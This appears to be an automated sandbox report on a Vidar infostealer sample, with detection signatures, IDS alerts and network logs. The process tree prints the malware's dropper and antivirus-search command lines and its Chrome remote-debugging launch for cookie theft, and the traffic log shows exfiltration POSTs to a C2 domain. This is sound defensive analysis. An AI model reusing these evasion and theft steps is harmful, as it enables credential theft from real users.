Edit tour

Windows Analysis Report
Yn13dTQdcW.exe

Overview

General Information

Sample name:	Yn13dTQdcW.exe renamed because original name is a hash value
Original sample name:	82ccd973e00420a4768bc76d2f442f52.exe
Analysis ID:	1569757
MD5:	82ccd973e00420a4768bc76d2f442f52
SHA1:	893c63dad01eb0367c11325efbf8492e193b15c3
SHA256:	37919954152f36fb936ba48b6418c1172471ff9cc4627a7f3f941353e2c17b91
Tags:	exeVidaruser-abuse_ch
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

AI detected suspicious sample

Drops PE files with a suspicious file extension

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Copy From or To System Directory

Uses 32bit PE files

Classification

Process Tree

System is w10x64

Yn13dTQdcW.exe (PID: 7524 cmdline: "C:\Users\user\Desktop\Yn13dTQdcW.exe" MD5: 82CCD973E00420A4768BC76D2F442F52)

cmd.exe (PID: 7564 cmdline: "C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7656 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7668 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7700 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7708 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7748 cmdline: cmd /c md 402438 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 7764 cmdline: findstr /V "integratedintlhandlingwaterproofcbperformtreasurertim" Recording MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7788 cmdline: cmd /c copy /b ..\Coaches + ..\Hypothetical + ..\Nasty + ..\Fly + ..\Zum + ..\Disclose + ..\Expensive + ..\Argue N MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Suicide.com (PID: 7804 cmdline: Suicide.com N MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)

chrome.exe (PID: 7536 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7600 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2344,i,2585248863302198166,5180447785711478511,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

choice.exe (PID: 7820 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Sigma Signatures

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Suicide.com N, ParentImage: C:\Users\user\AppData\Local\Temp\402438\Suicide.com, ParentProcessId: 7804, ParentProcessName: Suicide.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 7536, ProcessName: chrome.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Yn13dTQdcW.exe", ParentImage: C:\Users\user\Desktop\Yn13dTQdcW.exe, ParentProcessId: 7524, ParentProcessName: Yn13dTQdcW.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd, ProcessId: 7564, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Premium Premium.cmd && Premium.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7564, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7708, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T09:42:10.293155+0100	2044247	1	Malware Command and Control Activity Detected	5.75.212.196	443	192.168.2.4	49808	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T09:42:12.558181+0100	2051831	1	Malware Command and Control Activity Detected	5.75.212.196	443	192.168.2.4	49814	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T09:42:08.026227+0100	2049087	1	A Network Trojan was detected	192.168.2.4	49802	5.75.212.196	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://ikores.sbs/

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: ikores.sbs

Virustotal: Detection: 14%

Perma Link

Multi AV Scanner detection for submitted file

Source: Yn13dTQdcW.exe	ReversingLabs: Detection: 34%
Source: Yn13dTQdcW.exe	Virustotal: Detection: 22%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.8% probability

Source: Yn13dTQdcW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.212.196:443 -> 192.168.2.4:49790 version: TLS 1.2

Source: Yn13dTQdcW.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\Yn13dTQdcW.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\402438\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\402438	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49802 -> 5.75.212.196:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.212.196:443 -> 192.168.2.4:49814
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.212.196:443 -> 192.168.2.4:49808

Source: global traffic

HTTP traffic detected: GET /m3wm0w HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /m3wm0w HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6Host: ikores.sbsConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000003.2658016324.000078C400FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2658098620.000078C400F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2657755706.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000010.00000003.2658016324.000078C400FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2658098620.000078C400F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2657755706.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000010.00000002.2726202059.000078C4002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: LsPLJakEeBsUGsRzAQLUPOMOxfXyb.LsPLJakEeBsUGsRzAQLUPOMOxfXyb
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: ikores.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----7Q9R9ZCTRI5F37GVSJ5XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6Host: ikores.sbsContent-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727977288.000078C400740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653702295.000078C40089C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2650227930.000078C400388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
